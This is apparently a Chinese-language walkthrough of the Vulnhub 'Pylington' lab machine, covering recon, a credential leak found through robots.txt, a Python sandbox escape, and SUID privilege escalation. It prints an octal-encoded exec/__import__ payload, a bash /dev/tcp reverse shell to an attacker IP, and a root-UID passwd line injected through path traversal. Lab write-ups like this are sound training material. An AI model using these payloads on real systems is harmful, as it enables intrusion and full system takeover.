> 文章列表 > Vulnhub_Pylington

Vulnhub_Pylington

Vulnhub_Pylington

目录

一、信息收集

(一)端口服务探测

(二)目录扫描

二、漏洞挖掘

(一)robots敏感信息泄露

(二)python IDE沙箱绕过RCE

1. python敏感函数沙盒绕过

2. exec(__import__)绕过

三、提权

(一)suid提权拿到py用户权限

(二)suid提权获取root权限

1.linux用户hash密码生成

2.执行backup文件添加root用户权限账户

四、知识点

(一)python敏感函数检测沙盒绕过

(二)linux用户hash密码生成

(三)suid提权 

一、信息收集

(一)端口服务探测

发现目标开放80和22端口,开放的组件经漏洞搜索未发现具有rce的历史漏洞

 

目录扫描

除了nmap漏扫在robots.txt下发现的三个目录,未发现可利用价值的目录

二、漏洞挖掘

(一)robots敏感信息泄露

在robots下发现三个可目录,访问/zbir7mn240soxhicso2z拿到一个账户信息,访问登录页面进行登录成功。

 

python IDE沙箱绕过RCE

登录成功之后点击welcome跳转到Python代码执行页面,存在敏感函数限制提醒页面,import/os/open等。

 

1. python敏感函数沙盒绕过

https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes#executing-python-code

 

2. exec(__import__)绕过

经过测试,使用__import__()函数把数据八进制可以绕过成功执行命令,使用解码解密工具进行转化

 

在program中输入:

exec("137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\50\\47\\157\\163\\47\\51\\56\\163\\171\\163\\164\\145\\155\\50\\47\\154\\163\\47\\51")

 

反弹shell

#__import__('os').system('bash -i >& /dev/tcp/192.168.4.41/4444 0>&1')

 

 

三、提权

(一)suid提权拿到py用户权限

Suid提权原理,当文件具备suid权限时,执行时拥有文件所有者权限。

在py目录下查看到所有文件都是py用户权限的,但是存在一个typing的具有suid权限,意味着运行时可以以py权限去执行。

 

运行文件,提示是一个小游戏,输入the quick brown fox jumps over the lazy dog,可以拿到py的password

 

Ssh登录拿到py用户

 

suid提权获取root权限

在secret_stuff目录下存在backup文件具有suid权限,运行时存在root权限。查看backup.cc源码,发现可利用添加用户。

 

1.linux用户hash密码生成

使用mkpasswd生成hash密码666666

#mkpasswd -m sha-512

密码8个6

 

2.执行backup文件添加root用户权限账户

备份添加,注意保存目录/srv/backups/../../etc/passwd

#revenge2:$6$UncBesem/JQivwYb$0qUgjVWHA5eT4mOh0/3ca60ym88DpaEoAviwKs2zSv9fyJy84gczwD0CWiNB.vJyIzHzTLusR7z3gWkeWhS94/:0:0:root:/root:/bin/bash

 

切换到revenge2,成功拿到root权限。

 

四、知识点

)python敏感函数检测沙盒绕过

https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes#executing-python-code

linux用户hash密码生成

suid提权